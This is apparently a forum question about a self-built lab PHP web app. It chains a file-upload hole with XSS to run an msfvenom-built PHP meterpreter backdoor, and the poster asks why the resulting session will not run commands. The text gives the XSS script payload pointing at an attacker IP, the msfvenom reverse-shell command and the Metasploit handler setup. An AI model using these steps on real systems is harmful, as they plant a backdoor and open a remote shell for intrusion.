I built this web application(Used PHP 5 + MySQL) where I could take advantage of file upload vulnerability and XSS.
My route of attack is:
- Upload a PHP backdoor which I built with msfvenom
- Go to another page that has an XSS vulnerability
<"script src="ATTACKING IP:PORT443/phpbackdoor.php"></script>as an input
- Turn on the listener / meterpreter
These 4 steps seem to be working but, once meterpreter session is created, I couldn't even spawn a shell or do any commands (like sysinfo, for example); I'm using the latest Kali update.
My target box is Ubuntu 16.04 and the web application is running on LAMPP or just localhost.
My NAT is turned on, but both ports 443 is opened on both virtual machines.
Here are what I used for building payloads and commands in order:
msfvenom -p php/meterpreter_reverse_tcp LHOST=attacking ip LPORT=443 -f raw > shell.php use exploit/multi/handler set payload php/meterpreter_reverse_tcp set lhost attacking ip set lport 443 exploit
Something is breaking the meterpreter and I couldn't point out what it is.